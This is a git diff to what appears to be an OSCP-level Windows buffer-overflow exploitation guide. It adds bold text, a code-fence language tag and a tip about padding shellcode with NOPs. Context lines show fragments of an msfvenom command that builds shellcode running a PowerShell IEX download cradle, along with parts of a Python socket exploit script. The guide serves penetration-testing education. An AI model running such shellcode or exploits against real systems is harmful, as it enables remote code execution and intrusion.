diff --git a/exploiting/windows-exploiting-basic-guide-oscp-lvl.md b/exploiting/windows-exploiting-basic-guide-oscp-lvl.md index 7d420908e..8951ff4aa 100644 --- a/exploiting/windows-exploiting-basic-guide-oscp-lvl.md +++ b/exploiting/windows-exploiting-basic-guide-oscp-lvl.md @@ -194,9 +194,9 @@ msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Obj If the exploit is not working but it should \(you can see with ImDebg that the shellcode is reached\), try to create other shellcodes \(msfvenom with create different shellcodes for the same parameters\). -Add some NOPS at the beginning of the shellcode and use it and the return address to JMP ESP, and finish the exploit: +**Add some NOPS at the beginning** of the shellcode and use it and the return address to JMP ESP, and finish the exploit: -```text +```bash #!/usr/bin/python import socket @@ -245,6 +245,10 @@ except: print "Could not connect to "+ip+":"+port ``` +{% hint style="warning" %} +There are shellcodes that will **overwrite themselves**, therefore it's important to always add some NOPs before the shellcode +{% endhint %} + ## Improving the shellcode Add this parameters: